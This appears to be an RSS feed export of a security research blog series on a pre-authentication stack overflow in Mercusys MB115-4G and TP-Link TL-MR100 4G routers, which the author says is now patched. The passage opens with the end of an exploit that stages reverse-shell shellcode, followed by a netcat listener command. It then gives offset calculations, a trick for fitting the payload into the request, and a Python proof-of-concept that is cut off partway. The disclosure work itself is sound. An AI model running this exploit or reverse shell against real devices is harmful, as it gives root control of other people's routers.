    print(f&quot;&#x5B;+] detected {version}, .bss buffer at {BSS_ADDR&#x5B;version]:#010x}&quot;)

    # Then we generate the shellcode and stage it with the first request
    stage(host, build_shellcode(lhost, lport))
    # Finally we can run the exploit that changes the return address to our shellcode
    trigger(host, BSS_ADDR&#x5B;version])
    print(f&quot;&#x5B;+] fired - check your listener on {lhost}:{lport}&quot;)

if __name__ == &quot;__main__&quot;:
    exploit(&quot;192.168.1.1&quot;, lhost=&quot;192.168.1.2&quot;, lport=9001)
</pre></div>


<p class="wp-block-paragraph">Before running the exploit, we need something listening on the attacker machine to catch the connection when the router’s shell dials back. Since the shellcode simply opens a TCP connection to our host and port and wires a shell to it, any plain TCP listener will do, the simplest being netcat:</p>



<pre class="wp-block-code"><code>nc -lvnp 9001</code></pre>



<p class="wp-block-paragraph">This listens on port 9001. The host and port here must match what we compiled into the shellcode. If they don&#8217;t line up, the router will try to connect somewhere nothing is listening and we&#8217;ll get nothing back. Once the listener is up, we run the exploit, and if everything works we&#8217;re dropped straight into an interactive shell on the router.</p>



<figure class="wp-block-video alignwide"><video height="1050" style="aspect-ratio: 1920 / 1050;" width="1920" controls src="https://kylianeury.com/wp-content/uploads/2026/10/reverse_shell_demo.mp4"></video><figcaption class="wp-element-caption">Running the exploit on the emulated target and getting a shell in a few seconds</figcaption></figure>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">With the reverse shell working, we have gone the whole way from an unauthenticated position on the local network to code execution as root on the router. Over the three parts, we obtained and unpacked the firmware and got an initial shell over UART, found a pre-authentication stack overflow in the web server and showed it was a remote code execution rather than a denial of service, and finally turned that into a reliable exploit that stages MIPS shellcode and gives us a shell back.</p>



<p class="wp-block-paragraph">The exploit is reliable across the firmware versions we fingerprinted, works pre-authentication, and only requires being on the same network as the router. None of this took much fighting against the device itself. There are no mitigations to speak of: no ASLR, no stack canary, an executable stack, and a web server written in custom vendor code that is shared across both the Mercusys and TP-Link product lines, which is how the same bug ended up affecting two different products. For a cheap 4G router this is not surprising, but it is a good reminder of how little resistance this class of device offers once you are past the front door.</p>



<p class="wp-block-paragraph">There are still several leads I selected during the triage that I have not finished chasing, and I would like to see how far the same vulnerability class reaches across their other products given how much code is shared. The semi-automated setup that did a good part of the work here has also come a long way since Part 2. I have been building on it for over a month now, and it is getting close to an end-to-end MVP that goes from scraping firmware all the way to automatically finding and validating primitives on its own. I will cover that properly in its own writeup, including the parts that wasted my time.</p>



<p class="wp-block-paragraph">Everything described in this series is fixed in current firmware for both devices: MB115-4G 1.11.0 and TL-MR100 1.3.0. If you happen to own either, update it.</p>
]]></content:encoded>
					
		
		<enclosure url="https://kylianeury.com/wp-content/uploads/2026/10/reverse_shell_demo.mp4" length="4394915" type="video/mp4" />

			</item>
		<item>
		<title>Pre-Auth RCE in TP-Link &#038; Mercusys 4G Routers: One Character from Code Execution &#8211; Part 2 (CVE-2026-75118)</title>
		<link>https://kylianeury.com/pre-auth-rce-in-tp-link-mercusys-4g-routers-one-character-from-code-execution-part-2-cve-2026-75118/</link>
		
		<dc:creator><![CDATA[razor7877]]></dc:creator>
		<pubDate>Wed, 02 Sep 2026 22:26:56 +0000</pubDate>
				<category><![CDATA[Reverse Engineering]]></category>
		<guid isPermaLink="false">https://kylianeury.com/?p=165</guid>

					<description><![CDATA[Note on prior work and attribution The stack overflow described in this post was first discovered and reported by Héctor Villar Palacios for the Mercusys MB115-4G on the 22nd of February 2026, registered as CVE-2026-12495. His writeup can be found here. Credit for the discovery is his. I independently rediscovered the vulnerability in July 2026, [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Note on prior work and attribution</h2>



<p class="wp-block-paragraph">The stack overflow described in this post was first discovered and reported by Héctor Villar Palacios for the Mercusys MB115-4G on the 22nd of February 2026, registered as CVE-2026-12495. His writeup can be found <a href="https://rotcee.github.io/posts/analyzing-the-mersusys-mb115-4g-router">here</a>. Credit for the discovery is his.</p>



<p class="wp-block-paragraph">I independently rediscovered the vulnerability in July 2026, while the disclosure was still private, and it was unclear that the vulnerability had been previously reported during exchanges with Mercusys.</p>



<p class="wp-block-paragraph">This post adds how I discovered that the TP-Link TL-MR100 was also affected because of a shared codebase. It also shows that the vulnerability is more severe than reported and why this was missed (RCE rather than DoS). Finally, I also show how to decrypt their newer firmware. The TP-Link case was registered separately as CVE-2026-75118.</p>



<h2 class="wp-block-heading">Introduction</h2>



<p class="wp-block-paragraph">In the first part of this series, we started taking a look at the Mercusys MB115-4G router. We first downloaded and unpacked one of the latest firmware versions available online, explored the overall structure of the Linux filesystem and identified a few interesting things such as how to decrypt the main XML config files.</p>



<p class="wp-block-paragraph">Afterwards, we purchased the real product, opened it up and were able to get a direct shell by using the unmarked UART pins and using the default TP-Link  credentials used in every of their routers.</p>



<h2 class="wp-block-heading">Mapping the Attack Surface</h2>



<p class="wp-block-paragraph">With root access and a decrypted filesystem, I could start looking for actual bugs. A router exposes a lot of services, so the first job is working out which ones are reachable and which are worth the time. After going through the binaries, startup scripts and the router&#8217;s advertised features, these are the ones that stood out:</p>



<h3 class="wp-block-heading">Likely WAN exposed</h3>



<ul class="wp-block-list">
<li>cwmp &#8211; Also known as TR-069. Ended up being disabled by default</li>



<li>cloud_client / cloud_https / cloud-brd &#8211; Remote configuration with the mobile app, not investigated further</li>



<li>openvpn, pptpd, xl2tpd, pppd</li>
</ul>



<h3 class="wp-block-heading">Likely LAN exposed</h3>



<ul class="wp-block-list">
<li>httpd &#8211; Local web server</li>



<li>upnpd &#8211; UPnP handling</li>



<li>dropbear &#8211; SSH</li>



<li>telnet &#8211; Enabled by default</li>



<li>dnsProxy</li>



<li>ntpc &#8211; Network Time Protocol</li>



<li>dhcpd/dhcpc &#8211; DHCP handling</li>



<li>tftp &#8211; File transfer protocol</li>
</ul>



<p class="wp-block-paragraph">I only explored some of these. I settled on <code>httpd</code>: it is written entirely in custom vendor code, it is reachable before authentication, and it parses complex structured input, which is a combination that has produced a long history of vulnerabilities in this class of device. It also calls into <code>libcmm.so</code>, a large vendor library shared with most of the other binaries on the system, so anything found there potentially reaches further than the web server itself.</p>



<h2 class="wp-block-heading">Finding what&#8217;s reachable before login</h2>



<p class="wp-block-paragraph">A web interface is only interesting pre-authentication. Anything behind a session check needs credentials, and if I have credentials on a home router I&#8217;ve already lost interest. So the first question for <code>httpd</code> is which routes are reachable without one.</p>



<p class="wp-block-paragraph">The server registers its routes at startup with <code>http_alias_addEntryByArg</code>. The last argument is the authorisation mode:</p>



<figure class="wp-block-image alignwide size-full"><img loading="lazy" decoding="async" width="889" height="747" src="https://kylianeury.com/wp-content/uploads/2026/09/image.png" alt="" class="wp-image-191" srcset="https://kylianeury.com/wp-content/uploads/2026/09/image.png 889w, https://kylianeury.com/wp-content/uploads/2026/09/image-300x252.png 300w, https://kylianeury.com/wp-content/uploads/2026/09/image-768x645.png 768w" sizes="auto, (max-width: 889px) 100vw, 889px" /><figcaption class="wp-element-caption">All the static routes registered during the web server initialization</figcaption></figure>



<p class="wp-block-paragraph"><code>g_http_author_default</code> requires a valid session. <code>g_http_author_all</code> does not. Finding the registration function and reading it top to bottom turns a binary with hundreds of functions into a list of twelve entry points:</p>



<figure class="wp-block-table is-style-regular"><table class="has-fixed-layout"><thead><tr><th>Endpoint</th><th>Handler</th></tr></thead><tbody><tr><td><code>/cgi/setPwd</code></td><td><code>http_rpm_auth_setPwd</code></td></tr><tr><td><code>/cgi/wanBlock</code></td><td><code>http_rpm_getActionFromWanBlockWeb</code></td></tr><tr><td><code>/cgi/login</code></td><td><code>http_rpm_login</code></td></tr><tr><td><code>/cgi/getParm</code></td><td><code>http_rpm_getParm</code></td></tr><tr><td><code>/cgi/language</code></td><td><code>http_rpm_language</code></td></tr><tr><td><code>/cgi/getBusy</code></td><td><code>http_rpm_getBusy</code></td></tr><tr><td><code>/cgi/getBindStatus</code></td><td><code>http_rpm_getBindStatus</code></td></tr><tr><td><code>/cgi/checkCloudConn</code></td><td><code>http_rpm_checkCloudConn</code></td></tr><tr><td><code>/cgi/getEwebUrl</code></td><td><code>http_rpm_getEwebUrl</code></td></tr><tr><td><code>/cgi/openVpnClientCfgup</code></td><td><code>httpd_rpm_openVpnClientCfgup</code></td></tr><tr><td><code>/cgi/openVpnClientCfgSave</code></td><td><code>http_rpm_openVpnClientcfgSave</code></td></tr><tr><td><code>/cgi/openVpnClientEdit</code></td><td><code>http_rpm_openVpnClientEdit</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Three things stood out immediately. <code>/cgi/setPwd</code> handles credentials before you have any. The three <code>openVpnClient*</code> handlers accept uploaded configuration files, pre-authentication, which is of high interest to us. <code>/cgi/login</code> and <code>/cgi/getBindStatus</code> both go through the vendor&#8217;s own crypto layer, which is custom code doing cryptography.</p>



<h2 class="wp-block-heading">Speaking with the Server</h2>



<p class="wp-block-paragraph">None of those endpoints can be tested until you can produce a request they&#8217;ll accept, and that turned out to be a significant obstacle. Even extracting the requests produced when using the web interface in the browser took some time.</p>



<p class="wp-block-paragraph">The web client does its own encryption in JavaScript before anything reaches the network. Capturing traffic using your browser or a proxy only gives you ciphertext and a signature, with no obvious way to work backwards. The relevant code is in <code>tpEncrypt.js</code> and <code>encrypt.js</code>, and it is readable, but reimplementing it from the source alone means guessing at exactly which fields get included and in what order.</p>



<p class="wp-block-paragraph">Rather than guess, I wrote a small browser extension that hooks the encryption function and logs its arguments before they&#8217;re encrypted. That gives ground truth: for any action performed in the real web interface, I get the exact plaintext the client intended to send, alongside the ciphertext that went out. Reimplementing the client then becomes a matter of matching known inputs to known outputs.</p>



<p class="wp-block-paragraph">The scheme works like this. An unauthenticated <code>POST /cgi/getParm</code> returns the server&#8217;s RSA public key and a sequence counter:</p>



<p class="wp-block-paragraph"><code>{"ee":"010001","nn":"&lt;128 hex chars&gt;","userSetting":0,"seq":"&lt;int&gt;","ret":0}</code></p>



<p class="wp-block-paragraph">That&#8217;s a 512-bit RSA key with exponent 0x10001. Requests then carry two parameters:</p>



<ul class="wp-block-list">
<li><code>sign</code>: an RSA-encrypted string of the form <code>key=&lt;16&gt;&amp;iv=&lt;16&gt;&amp;h=&lt;hash&gt;&amp;s=&lt;seq + len(data_b64)&gt;</code>, all hex encoded. This is how the AES key and IV reach the server.</li>



<li><code>data</code>: base64 of AES-128-CBC ciphertext, encrypted under the key and IV from <code>sign</code>.</li>
</ul>



<p class="wp-block-paragraph">Two details matter later. The <code>s=</code> field is a sequence check, but <code>getParm</code> hands out the current sequence value before authentication, so it&#8217;s trivially satisfiable. And the pre-login transport puts both parameters in the <strong>query string</strong>, not in the request body. Only the post-login path uses <code>/cgi_gdpr</code> with parameters in the body instead. This choice of transport will explain later on why the bug looks unexploitable at first.</p>



<p class="wp-block-paragraph">Worth noting in passing: RSA-512 has not been considered secure for a long time, and the client hashes credentials as MD5 of the username and password concatenated. While this is not the vulnerability that was found, it does not inspire much confidence in the rest of the crypto layer.</p>



<h2 class="wp-block-heading">Two Dead Ends</h2>



<p class="wp-block-paragraph">Most of the time spent on targets like this produces nothing. Two of the leads I chased have been interesting in their own ways.</p>



<h3 class="wp-block-heading">OpenVPN configuration upload</h3>



<p class="wp-block-paragraph">Three of the twelve pre-auth endpoints handle OpenVPN client configuration, and one accepts an uploaded config file. The parser reads the file, extracts the inline blocks (<code>&lt;ca&gt;...&lt;/ca&gt;</code> and similar), base64-encodes the contents, and stores them in a cJSON object. The uploaded file can be up to 4999 bytes. The temporary stack buffer used to hold the base64 output is 6000 bytes.</p>



<p class="wp-block-paragraph">Base64 expands data by 4/3. Therefore, 4999 bytes of input should become roughly 6665 bytes of output, against a 6000-byte destination. At first, this looked like a straightforward, pre-authentication stack overflow.</p>



<p class="wp-block-paragraph">However, while the function itself seems vulnerable, every request reaching these handlers passes through <code>http_cgi_gdpr_main</code> first, which caps the decrypted request buffer at 4095 bytes. Even if it was possible to use every available byte as payload, 4095 x 4/3 is about 5460 bytes, still comfortably inside 6000. The overflow the local arithmetic suggests is prevented by the only path that leads to it.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="743" height="745" src="https://kylianeury.com/wp-content/uploads/2026/09/image-1-edited.png" alt="" class="wp-image-196" srcset="https://kylianeury.com/wp-content/uploads/2026/09/image-1-edited.png 743w, https://kylianeury.com/wp-content/uploads/2026/09/image-1-edited-300x300.png 300w, https://kylianeury.com/wp-content/uploads/2026/09/image-1-edited-150x150.png 150w" sizes="auto, (max-width: 743px) 100vw, 743px" /><figcaption class="wp-element-caption">The interesting function: cen_base64Encode risks outputting too much since the length of b64_buff is not passed to it</figcaption></figure>



<figure class="wp-block-image alignwide size-full"><img loading="lazy" decoding="async" width="979" height="762" src="https://kylianeury.com/wp-content/uploads/2026/09/image-3.png" alt="" class="wp-image-197" srcset="https://kylianeury.com/wp-content/uploads/2026/09/image-3.png 979w, https://kylianeury.com/wp-content/uploads/2026/09/image-3-300x234.png 300w, https://kylianeury.com/wp-content/uploads/2026/09/image-3-768x598.png 768w" sizes="auto, (max-width: 979px) 100vw, 979px" /><figcaption class="wp-element-caption">libcmm.so exports rsl_openVpnClientCfgUpload and is the function that calls the potentially vulnerable function downstream</figcaption></figure>



<figure class="wp-block-image alignwide size-full"><img loading="lazy" decoding="async" width="789" height="759" src="https://kylianeury.com/wp-content/uploads/2026/09/image-4.png" alt="" class="wp-image-198" srcset="https://kylianeury.com/wp-content/uploads/2026/09/image-4.png 789w, https://kylianeury.com/wp-content/uploads/2026/09/image-4-300x289.png 300w, https://kylianeury.com/wp-content/uploads/2026/09/image-4-768x739.png 768w" sizes="auto, (max-width: 789px) 100vw, 789px" /><figcaption class="wp-element-caption">The CGI handler that calls into the libcmm.so function</figcaption></figure>



<h3 class="wp-block-heading">Command Injection in the Vendor Library</h3>



<p class="wp-block-paragraph"><code>libcmm.so</code> is a 1.1 MB vendor library shared by most binaries on the system, and it calls out to the shell constantly: <code>system()</code>, <code>util_execSystem()</code>, <code>util_execSystemWithSemicolon()</code>, <code>util_execSystemForLongCmd()</code>. Any of those built from a format string with a <code>%s</code> fed by user input would be a command injection waiting to happen.</p>



<p class="wp-block-paragraph">I wrote a Ghidra script to enumerate every cross-reference to those functions and flag the calls whose format string contains <code>%s</code>, then traced the arguments backwards looking for anything reachable from a request. Several looked promising (<code>oal_pt_delPortTrigger</code> among them) but every one I followed either took its input from an internal configuration value or ran behind authentication.</p>



<figure class="wp-block-image alignwide size-large"><img loading="lazy" decoding="async" width="1844" height="293" src="https://kylianeury.com/wp-content/uploads/2026/09/image-5-edited.png" alt="" class="wp-image-201" srcset="https://kylianeury.com/wp-content/uploads/2026/09/image-5-edited.png 1844w, https://kylianeury.com/wp-content/uploads/2026/09/image-5-edited-300x48.png 300w, https://kylianeury.com/wp-content/uploads/2026/09/image-5-edited-1024x163.png 1024w, https://kylianeury.com/wp-content/uploads/2026/09/image-5-edited-768x122.png 768w, https://kylianeury.com/wp-content/uploads/2026/09/image-5-edited-1536x244.png 1536w" sizes="auto, (max-width: 1844px) 100vw, 1844px" /><figcaption class="wp-element-caption">Ghidra finds 826 cross-references only for util_execSystem inside of libcmm.so</figcaption></figure>


<div class="wp-block-syntaxhighlighter-code alignwide"><pre class="brush: python; title: ; notranslate">
#TODO write a description for this script
#@author 
#@category _NEW_
#@keybinding 
#@menupath 
#@toolbar 
#@runtime Jython

from ghidra.app.decompiler import DecompileOptions
from ghidra.app.decompiler import DecompInterface
from ghidra.util.task import ConsoleTaskMonitor

TARGET_FUNC = &quot;util_execSystem&quot;

def getString(addr):
	mem = currentProgram.getMemory()
	core_name_str = &quot;&quot;
	while True:
		byte = mem.getByte(addr.add(len(core_name_str)))
		if byte == 0:
			return core_name_str
		core_name_str += chr(byte)

# Get all callers
target_addr = 0
callers = &#x5B;]
funcs = getGlobalFunctions(TARGET_FUNC)

# For creating address from long
af = currentProgram.getAddressFactory()

for func in funcs:
    if func.getName() == TARGET_FUNC:
        print(&quot;\nFound {} @ 0x{}&quot;.format(TARGET_FUNC, func.getEntryPoint()))
        target_addr = func.getEntryPoint()
        references = getReferencesTo(target_addr)
        references = references&#x5B;0:len(references)-1]
        for xref in references:
            call_addr = xref.getFromAddress()
            caller = getFunctionContaining(call_addr)
            callers.append(caller)
        break

# Deduplicate callers
callers = list(set(callers))

# Decompile all callers and find PCODE CALL operations leading to `target_add`
options = DecompileOptions()
monitor = ConsoleTaskMonitor()
ifc = DecompInterface()
ifc.setOptions(options)
ifc.openProgram(currentProgram)

for caller in callers:
    if not caller:
        print(&quot;&#x5B;+] Got None caller, skipping this one&quot;)
        continue

    res = ifc.decompileFunction(caller, 60, monitor)
    high_func = res.getHighFunction()
    lsm = high_func.getLocalSymbolMap()
    symbols = lsm.getSymbols()

    if high_func:
        opiter = high_func.getPcodeOps()
        while opiter.hasNext():
            op = opiter.next()
            mnemonic = str(op.getMnemonic())
            if mnemonic == &quot;CALL&quot;:
                inputs = op.getInputs()
                addr = inputs&#x5B;0].getAddress()
                args = inputs&#x5B;1:] # List of VarnodeAST types
                if addr == target_addr:
                    # print(&quot;Call to {} at {} has {} arguments: {}&quot;.format(addr, op.getSeqnum().getTarget(), len(args), args))
                    ins = args&#x5B;1].getDef()

                    if not ins:
                        print(&quot;&#x5B;+] Got None ins, skipping it&quot;)
                        continue

                    op = ins.getOpcode()
                    if op != 1:
                        print(&quot;&#x5B;+] Got op other than copy:&quot;, op)
                        continue
                    
                    op_addr = ins.getInput(0).getOffset()
                    str_op_addr = hex(op_addr).replace(&quot;L&quot;, &quot;&quot;)
                    # print(&quot;&#x5B;+] Copy value:&quot;, str_op_addr, type(op_addr))
                    string_data = getString(af.getAddress(str_op_addr))
                    # print(&quot;&#x5B;+] Corresponding string:&quot;, string_data)

                    if &quot;%s&quot; in string_data:
                        print(&quot;&#x5B;+] Potentially vulnerable: \&quot;&quot; + string_data + &quot;\&quot; in function &quot; + str(caller))
</pre></div>


<p class="wp-block-paragraph">The script was still worth writing as a way of quickly enumerating and verifying this category of bug across the binary.</p>



<h2 class="wp-block-heading">A size mismatch in the crypto layer</h2>



<p class="wp-block-paragraph">With the OpenVPN path ruled out, I went back to the two endpoints that reach the vendor&#8217;s crypto layer: <code>/cgi/login</code> and <code>/cgi/getBindStatus</code>. Both call a single function to unwrap the encrypted envelope, <code>http_gdpr_decrypt</code>, and that function is where the bug is.</p>



<p class="wp-block-paragraph">Stripped of error handling, it does this:</p>


<div class="wp-block-syntaxhighlighter-code alignwide"><pre class="brush: cpp; title: ; notranslate">
int http_gdpr_decrypt(GDPREntry *gdpr, char *aes_payload,
                      char *aes_key_encrypted, void *out)
{
    int ret;
    size_t aes_payload_len;
    size_t raw_aes_len;
    char payload_copy_aes&#x5B;2048];
    char decrypted_buf&#x5B;2048];
    char raw_aes_bytes&#x5B;2048];
    char sign_plaintext&#x5B;2056];

    memset(sign_plaintext, 0, 0x800);
    memset(payload_copy_aes, 0, 0x800);

    /* Decrypt the RSA encrypted contents of sign to get client AES data */
    ret = http_rsa_decrypt(aes_key_encrypted, sign_plaintext, 0x81, 0);

    gdpr-&gt;server_seq = http_seq_getSeq();

    /* Extracts the user supplied data from the query string */
    ret = gdpr_aes_decrypt(gdpr, sign_plaintext);

    aes_payload_len = strlen(aes_payload);
    strncpy(payload_copy_aes, aes_payload, aes_payload_len);
    aes_payload_len = strlen(payload_copy_aes);
    http_tool_stripLine(payload_copy_aes, aes_payload_len);
    aes_payload_len = strlen(payload_copy_aes);
    raw_aes_len = b64_decode(raw_aes_bytes, 0x800, payload_copy_aes, aes_payload_len);

    /* Sequence number check */
    ret = gdpr_seq_check(gdpr, aes_payload_len);
    if (ret != 0) {
        gdpr-&gt;valid_seq_check = 0;
        return 0x191;
    }
    gdpr-&gt;valid_seq_check = 1;

    /* Here we do the actual AES decryption */
    ret = aes_tmp_decrypt_buf_nopadding_new
                    (raw_aes_bytes, decrypted_buf, &amp;raw_aes_len,
                     gdpr-&gt;aes_key2, gdpr-&gt;aes_iv2);

    /* THE OVERFLOW HAPPENS HERE! */
    memcpy(out, decrypted_buf, raw_aes_len);
    return 0;
}
</pre></div>


<p class="wp-block-paragraph">And here is how it gets called by the login CGI handler:</p>


<div class="wp-block-syntaxhighlighter-code alignwide"><pre class="brush: cpp; title: ; notranslate">
int http_rpm_login(HTTPReq *req)
{
    /* ... */
    GDPREntry input;
    /* Our vulnerable buffer! The length is NOT passed on to http_gdpr_decrypt */
    char out&#x5B;512];

    /* ... Action / LoginStatus parsing ... */

    ciphertext = (char *)http_parser_getEnv(&quot;data&quot;);
    sign       = (char *)http_parser_getEnv(&quot;sign&quot;);

    if (ciphertext == NULL || sign == NULL || *ciphertext == &#039;\0&#039; || *sign == &#039;\0&#039;) {
        /* &quot;sign or data error.&quot; */
    }
    else {
        /* 512 bytes */
        memset(out, 0, 0x200);
        memcpy(&amp;input, req-&gt;gdpr_entry, 0x118);
        input.login_type = 0;

        /* No length passed, big enough AES payload will cause an overflow on our local stack buffer */
        iVar8 = http_gdpr_decrypt(&amp;input, sign, ciphertext, out);
        if (iVar8 != 0) {
            /* &quot;decrypt password failed.&quot; */
        }

        /* out is then parsed with strtok() ... */
    }
}
</pre></div>


<p class="wp-block-paragraph">Every buffer inside the function is a local 2048-byte buffer, and the code is written expecting the caller&#8217;s destination to be the same. However, <code>out</code> is a caller-supplied pointer, and <code>http_rpm_login</code> supplies a 512-byte stack buffer.</p>



<p class="wp-block-paragraph">The final <code>memcpy</code> copies <code>raw_aes_len</code> bytes into it with nothing checking that the length fits. That length comes from the base64 payload the client sent, bounded only by the 2048-byte internal buffers.</p>



<p class="wp-block-paragraph">What makes this properly exploitable rather than just a crash is that the attacker controls the copied <em>content</em> as well as its length. The AES key and IV arrive inside <code>sign</code>, so whatever plaintext I encrypt is what lands on the stack, which is particularly convenient and gives full control, and even avoids issues with null bytes, restricted charsets etc.</p>



<p class="wp-block-paragraph"><code>http_rpm_login</code> allocates <code>0x540</code> bytes of stack. The output buffer sits at <code>sp+0x310</code> and the saved return address at <code>sp+0x53c</code>:</p>



<p class="wp-block-paragraph"><code>sp+0x310 : output buffer (512 bytes) &lt;- copy starts here<br>sp+0x518 : saved s0..s8 registers<br>sp+0x53c : saved return address &lt;- 0x53c - 0x310 = 556 bytes</code></p>



<p class="wp-block-paragraph">So 556 bytes of controlled data followed by four bytes of address overwrites the return address.</p>



<p class="wp-block-paragraph">The binary offers no resistance at all:</p>



<figure class="wp-block-image alignwide size-large"><img loading="lazy" decoding="async" width="1024" height="35" src="https://kylianeury.com/wp-content/uploads/2026/09/image-7-1024x35.png" alt="" class="wp-image-216" srcset="https://kylianeury.com/wp-content/uploads/2026/09/image-7-1024x35.png 1024w, https://kylianeury.com/wp-content/uploads/2026/09/image-7-300x10.png 300w, https://kylianeury.com/wp-content/uploads/2026/09/image-7-768x26.png 768w, https://kylianeury.com/wp-content/uploads/2026/09/image-7-1536x53.png 1536w, https://kylianeury.com/wp-content/uploads/2026/09/image-7.png 1806w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption class="wp-element-caption">checksec shows us that all protections are disabled on httpd. ASLR is also disabled on the device itself.</figcaption></figure>



<p class="wp-block-paragraph">No stack canary, no PIE, no ASLR, and an executable stack. There is nothing to defeat and nothing to leak. As with most home routers, it is extremely weak as far as mitigation goes.</p>



<p class="wp-block-paragraph"><code>http_gdpr_decrypt</code> has exactly three callers:</p>



<figure class="wp-block-table alignwide"><table class="has-fixed-layout"><thead><tr><th>Handler</th><th>Endpoint</th><th>Distance to saved RA</th></tr></thead><tbody><tr><td><code>http_rpm_login</code></td><td><code>POST /cgi/login</code></td><td>556</td></tr><tr><td><code>http_rpm_getBindStatus</code></td><td><code>POST /cgi/getBindStatus</code></td><td>556</td></tr><tr><td><code>http_rpm_auth_setPwd</code></td><td><code>POST /cgi/setPwd</code></td><td>8156</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">The first two are equivalent. The third has a much larger frame, and 8156 bytes is beyond what the 2048-byte internal buffers can deliver, so it can corrupt locals but never reaches the return address.</p>



<h2 class="wp-block-heading">Why it looks unexploitable</h2>



<p class="wp-block-paragraph">While the binary has no mitigations and the offset is known for the overwrite, producing a proof of concept required some more effort.</p>



<p class="wp-block-paragraph">The pre-login transport carries <code>data</code> and <code>sign</code> in the <strong>query string</strong>. However, <code>httpd</code> reads the whole request line into a 1024-byte buffer and answers <code>414 Request-URI Too Long</code> if it finds no line terminator within it. The method and version share that buffer with the URI, which leaves about 1010 characters for the path and parameters.</p>



<p class="wp-block-paragraph">So the URI limit is the payload limit. Budgeting a request built the way the real client builds it:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Component</th><th>Size</th></tr></thead><tbody><tr><td>Method and HTTP version</td><td>14 chars</td></tr><tr><td>Path and fixed parameters</td><td>45 chars</td></tr><tr><td><code>sign</code> (RSA-512, two blocks, hex)</td><td>256 chars</td></tr><tr><td>Remaining for <code>data</code></td><td>708 chars</td></tr><tr><td>Plaintext deliverable after base64</td><td>530 bytes</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Around 530 bytes, against the 556 needed to reach the return address. Close, but not enough, just 26 bytes short.</p>



<p class="wp-block-paragraph">That gap is why this bug was originally reported as a denial of service rather than a remote code execution vulnerability. The unsafe <code>memcpy</code> is plainly there, it is pre-authentication, but the only route to it appears to be too narrow to carry a useful payload.</p>



<h2 class="wp-block-heading">Tinkering with the data</h2>



<p class="wp-block-paragraph">The 256 characters spent on <code>sign</code> are the largest single item in that budget, and they are worth examining, because that size is not fixed by the protocol. It is a consequence of what the client chooses to put in the signed string.</p>



<p class="wp-block-paragraph"><code>sign</code> is RSA-512, which encrypts 64 bytes per block and produces 128 hex characters per block. The plaintext being signed looks like:</p>



<p class="wp-block-paragraph"><code>key=&lt;16 chars&gt;&amp;iv=&lt;16 chars&gt;&amp;h=&lt;hash&gt;&amp;s=&lt;sequence&gt;</code></p>



<p class="wp-block-paragraph">With a full 32-character MD5 in <code>h=</code>, that string runs past 64 bytes. Two blocks. 256 hex characters.</p>



<p class="wp-block-paragraph">But <code>h</code> is not checked during decryption. On a fresh session, <code>gdpr_aes_decrypt</code> returns success unconditionally, and the hash is never validated on the path that leads to the overflow. Nothing requires it to be a real hash, or 32 characters, or anything in particular.</p>



<p class="wp-block-paragraph">Setting <code>h=a</code> brings the signed string under 64 bytes. One block. 128 hex characters instead of 256, and 128 characters returned to the payload budget:</p>



<figure class="wp-block-table alignwide"><table class="has-fixed-layout"><thead><tr><th>Component</th><th>Before</th><th>After</th></tr></thead><tbody><tr><td>Method and HTTP version</td><td>14</td><td>14</td></tr><tr><td>Path and fixed parameters</td><td>45</td><td>45</td></tr><tr><td><code>sign</code></td><td>256</td><td><strong>128</strong></td></tr><tr><td><code>data</code></td><td>708</td><td><strong>836</strong></td></tr><tr><td>Plaintext deliverable</td><td>530 bytes</td><td><strong>626 bytes</strong></td></tr><tr><td>Total request line</td><td>1023</td><td>1023</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">626 bytes of controlled plaintext, against the 560 needed to reach and overwrite the return address. The exploit only uses 560 of it, leaving 66 bytes of headroom for a payload in the buffer below, which is far more than needed.</p>



<p class="wp-block-paragraph">The bug was never a denial of service. It only looked like one because the standard client sends a longer signature than the server requires.</p>



<h2 class="wp-block-heading">Getting the crash to trigger</h2>



<p class="wp-block-paragraph">Three more details had to be right before any of this worked, and each cost me time.</p>



<p class="wp-block-paragraph"><code>httpd</code> only serves the JSON CGI API when the <code>Referer</code> header matches the device host. Without it the server returns the HTML login page with a 200 status, which looks exactly like an endpoint that doesn&#8217;t exist. Every request needs <code>Referer: http://&lt;host&gt;/</code>.</p>



<p class="wp-block-paragraph">The parameters must be in the query string. <code>getEnv</code> reads them from there on this path, and sending them in the body returns a generic &#8220;sign or data error&#8221; that gives no indication of what&#8217;s wrong.</p>



<p class="wp-block-paragraph">The address also has to be packed little-endian. The MT7628 is MIPS, but little-endian MIPS, which is easy to get backwards, as there are both big-endian and little-endian MIPS processors. Once this was fixed, I obtained the following script:</p>


<div class="wp-block-syntaxhighlighter-code alignwide"><pre class="brush: python; title: ; notranslate">
#!/usr/bin/env python3
&quot;&quot;&quot;
MB115-4G / TL-MR100 pre-auth stack buffer overflow in http_gdpr_decrypt.

Overwrites the saved return address of http_rpm_login (512-byte `out` buffer,
saved RA at +556 = 0x53c-0x310). Confirmed under firmadyne emulation: the
kernel fault dump shows epc = the value passed to --ra.

Usage:  python3 poc_mb115_min.py &lt;host&gt; &#x5B;--ra 0x41424344]
&quot;&quot;&quot;
import json, base64, struct, argparse
import urllib.request, urllib.error, urllib.parse
try:
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
except ImportError:
    from Cryptodome.Cipher import AES
    from Cryptodome.Util.Padding import pad

# 556
OFFSET_TO_RA = 0x53c - 0x310
KEY, IV = b&#039;A&#039; * 16, b&#039;B&#039; * 16

def post(host, path):
    r = urllib.request.Request(f&#039;http://{host}{path}&#039;, method=&#039;POST&#039;)
    r.add_header(&#039;Referer&#039;, f&#039;http://{host}/&#039;)       # httpd gates the API on this
    try:
        resp = urllib.request.urlopen(r, timeout=8)
        return resp.status, resp.read()
    except urllib.error.HTTPError as e:
        return e.code, e.read()


def rsa_nopad(pt, n, e):                 # textbook RSA (no padding), one 64-byte block
    nb = (n.bit_length() + 7) // 8
    c = pow(int.from_bytes(pt.ljust(nb, b&#039;\0&#039;), &#039;big&#039;), e, n)
    return format(c, f&#039;0{nb * 2}x&#039;)


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument(&#039;host&#039;)
    ap.add_argument(&#039;--ra&#039;, default=&#039;0xdeadbeef&#039;)
